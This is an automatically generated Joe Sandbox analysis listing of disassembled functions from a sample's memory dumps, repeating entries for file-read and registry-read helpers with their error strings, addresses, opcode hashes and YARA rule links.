API String ID: 3125558077-1073242539
Opcode ID: 50ddab41c2895b9b22a4d4635a104b7c26654cb7d37fed117f5fd98ba531e54b
Instruction ID: 27658a0b7162c1c32d9d3ebe27860d9e8c90410d881095c918d585898f14ce0d
Opcode Fuzzy Hash: 50ddab41c2895b9b22a4d4635a104b7c26654cb7d37fed117f5fd98ba531e54b
Instruction Fuzzy Hash: C2F05427B2860341F562FA04BD51FB9D1511F417A8EC94535CD5E0B6D1AF3DE8E7C228

Function 00007FF7088726F2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872759
fs_file_read, xrefs: 00007FF708872752

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: a09d7dc10f7d908e29253be61fa3c9b9b29b600e8bb5bbe80d6b09c93456bd94
Instruction ID: 10d1004616132549f8f6512c7385b04f39329ef44a03364ddad20f1463ff0b50
Opcode Fuzzy Hash: a09d7dc10f7d908e29253be61fa3c9b9b29b600e8bb5bbe80d6b09c93456bd94
Instruction Fuzzy Hash: D9F05427B2860341F562FA04BD51FB9D1511F417A8EC94535CD5E0B6D1AF3DD8E7C228

Function 00007FF7088726DD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872759
fs_file_read, xrefs: 00007FF708872752

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: de9fe99c49374705cdcb2ee0732af089202a8badd931d2ba541aeaae33d80ef1
Instruction ID: 1982a6ec56c5d65f519c7a76dba285769735694fa4aeeea8f3f1923df98d5f5c
Opcode Fuzzy Hash: de9fe99c49374705cdcb2ee0732af089202a8badd931d2ba541aeaae33d80ef1
Instruction Fuzzy Hash: 86F0B423B2860341F562FA04BD50FB8D1111F407A8EC94531CD4E0B2D1AF3CD8E7C228

Function 00007FF7088726E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872759
fs_file_read, xrefs: 00007FF708872752

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: a705a9e8397c2a0e157e5c4623b06167a9953578c27c6b65fef050b1d192d77b
Instruction ID: fc4d0e07c66e5e6dd921146151fea6099c7eb3f5b1ecac4947582cdd9f0cbcdd
Opcode Fuzzy Hash: a705a9e8397c2a0e157e5c4623b06167a9953578c27c6b65fef050b1d192d77b
Instruction Fuzzy Hash: 56F05427B2860341F562FA04BD51FB9D1521F417A8EC94535CD5E0B6D1AF3DD8E7C228

Function 00007FF7088727ED Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872759
fs_file_read, xrefs: 00007FF708872752

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 501eaeb97dbac1df9fcaba078b8d61f5e06c93d59369ef5f639b3344c7c75b83
Instruction ID: fccfc376f12cf1ab476ed5f5a51ea93af8290e7ac365c71c3068c3f1c163ec4c
Opcode Fuzzy Hash: 501eaeb97dbac1df9fcaba078b8d61f5e06c93d59369ef5f639b3344c7c75b83
Instruction Fuzzy Hash: 16F03A23B2860341F962FA14BD51BB9D1622F817A4E894535CD5D0B6D1AF3DE8E6C228

Function 00007FF7088727F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872759
fs_file_read, xrefs: 00007FF708872752

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 25f826796ae9e738d7729b61ebed9bf6ac66255cb3ee187e25fa9c0c7a2a501c
Instruction ID: b7cd3beb76b2cb6d174fb6b88ed5ce18ce556a91260d0f63c9a5825723f6552a
Opcode Fuzzy Hash: 25f826796ae9e738d7729b61ebed9bf6ac66255cb3ee187e25fa9c0c7a2a501c
Instruction Fuzzy Hash: C9F09023B2860341F562FA047D50BB8D1511F407A4E894531CD4D0B6C1AF3CD8E6C228

Function 00007FF708872801 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872759
fs_file_read, xrefs: 00007FF708872752

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 83db9f7145f0bb9a5f1ecf69a8e3f78fdb291c693cb0dad6356e651c7d4eb26c
Instruction ID: 287f8eb3a2099a51223763ce2443cb4132be4e9cb985749dc14a4966b29b6b7c
Opcode Fuzzy Hash: 83db9f7145f0bb9a5f1ecf69a8e3f78fdb291c693cb0dad6356e651c7d4eb26c
Instruction Fuzzy Hash: EAF03023A2860341F562FA147D51BB9D1521F417A4E894535CD5D0B6D1AF3DD8E6C228

Function 00007FF8BFB59A38 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB599CD

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB59A1D
registry_get_value, xrefs: 00007FF8BFB59A16

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: e0851725d79fa95748260dbe6cd32e6c1aaac29318307fe0d0a66a5108b9946e
Instruction ID: 245565dd909de259445d6a175790bd5f1e4e4d6fbed27ea345bc81cd26c0e710
Opcode Fuzzy Hash: e0851725d79fa95748260dbe6cd32e6c1aaac29318307fe0d0a66a5108b9946e
Instruction Fuzzy Hash: 14F09062A0874A52F6528F88F9507B97354BF447E4F480236EF5D46A90EF3DE9999300

Function 00007FF8BFB599BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB599CD

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB59A1D
registry_get_value, xrefs: 00007FF8BFB59A16

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: be87ca2da0906a4b563e4e802efae5fe8a631e34ae087ba0a1cce180adca3898
Instruction ID: c30fd3d5ff122b2e3da23e97c3b6e3aefb9d3525ce11ba51b10938096c705d9a
Opcode Fuzzy Hash: be87ca2da0906a4b563e4e802efae5fe8a631e34ae087ba0a1cce180adca3898
Instruction Fuzzy Hash: 68F09062A0874A52F5528F88B9507B9B354AF447E4F480236EF5D46A90EF3DE9999300

Function 00007FF8BFB599AE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB599CD

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB59A1D
registry_get_value, xrefs: 00007FF8BFB59A16

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 43db66ee65da957a1449361e24969b174e734d57be6334d49a96190eb8423e72
Instruction ID: b336394e2dc9d79598424f183d468c56f0e70399b5b51cb1ca8cb4cf78a4fcf7
Opcode Fuzzy Hash: 43db66ee65da957a1449361e24969b174e734d57be6334d49a96190eb8423e72
Instruction Fuzzy Hash: 01F09062A0874A52F5528F88B9507B97358AF447E4F480236EF5D46690EF3DEA999300

Function 00007FF8BFB5991D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB599CD

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB59A1D
registry_get_value, xrefs: 00007FF8BFB59A16

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 1f8b6be4531e4f61a9b791164e86e5d65f11346d678c3961dc24315970669e59
Instruction ID: b45ef00d2f7cad4a9e37787a2930321725fc9a89bb1f08694697b8f22e4b96dd
Opcode Fuzzy Hash: 1f8b6be4531e4f61a9b791164e86e5d65f11346d678c3961dc24315970669e59
Instruction Fuzzy Hash: 7AF0F022A0830A42F5528F88B9503B97344AF443E4F480236EF4D46690EF3CE9898300

Function 00007FF8BFB59927 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB599CD

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB59A1D
registry_get_value, xrefs: 00007FF8BFB59A16

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 5e972d20f0db2410af95bb835652d4743476dec15b4255502ad73526abce4442
Instruction ID: 0d88343078784fb747fad59486f2042eb4061bbf5d247dc76a56060d534d4796
Opcode Fuzzy Hash: 5e972d20f0db2410af95bb835652d4743476dec15b4255502ad73526abce4442
Instruction Fuzzy Hash: 75F09062A0864A52F5628F88F9507B97354BF447E4F480236EF5D466D0EF3DE9999300

Function 00007FF8BFB8D8E7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB8D98D

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

registry_get_value, xrefs: 00007FF8BFB8D9D6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB8D9DD

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: bfd4d7c23c0b7adf3137a3b763528e200069e4440a80c3d59950c302005c2d69
Instruction ID: 08842ea5986aab74ab62d003b659cb0a2536b629024817f39d26b5f7c611f187
Opcode Fuzzy Hash: bfd4d7c23c0b7adf3137a3b763528e200069e4440a80c3d59950c302005c2d69
Instruction Fuzzy Hash: CBF02422A0820A42EA929F88FC413B97344BF847E4F080236EF4C466D2EF3DD989C300

Function 00007FF8BFB8D8DD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB8D98D

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

registry_get_value, xrefs: 00007FF8BFB8D9D6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB8D9DD

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 915b2df0735b1b4a45862a718138cf0af1dd01a469394c247dcd6d9b00ff717d
Instruction ID: df10cc15b72600465b6a6392655c3e9b3b17ac6780dc0cb35f3fc2f4316ce350
Opcode Fuzzy Hash: 915b2df0735b1b4a45862a718138cf0af1dd01a469394c247dcd6d9b00ff717d
Instruction Fuzzy Hash: 29F02422B0830A42EA929F88F8413B97344BF847E4F080236EF4D466D2EF3DD989C300

Function 00007FF8BFB8D9F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB8D98D

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

registry_get_value, xrefs: 00007FF8BFB8D9D6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB8D9DD

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 14a6f1e05bd0c348ba73e5c5846f41afe97600fefa0b9d78abdf6e0ac06ac377
Instruction ID: a3e958735eb5bca3f5a36b5a9bec07b7e5c898fa3721481621927c0536bb929b
Opcode Fuzzy Hash: 14a6f1e05bd0c348ba73e5c5846f41afe97600fefa0b9d78abdf6e0ac06ac377
Instruction Fuzzy Hash: 27F0B462A0874A42EA92DF88F8417B97354BF847E4F084236EF5D466D6EF3DD989D300

Function 00007FF8BFB8D97C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB8D98D

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

registry_get_value, xrefs: 00007FF8BFB8D9D6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB8D9DD

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 3ef084da799f0a33023c652117027e69e8e15d24725d31172a4b0d0595537e04
Instruction ID: ce2401481d2fc149593c84d06ba7031b2549e4e5465f5b3b382b54af925bbccc
Opcode Fuzzy Hash: 3ef084da799f0a33023c652117027e69e8e15d24725d31172a4b0d0595537e04
Instruction Fuzzy Hash: 9CF02B2260830A42E5529F88F8413B97344BF847E4F080137DF4D466D1DF3DD985C300

Function 00007FF8BFB8D96E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB8D98D

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

registry_get_value, xrefs: 00007FF8BFB8D9D6
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB8D9DD
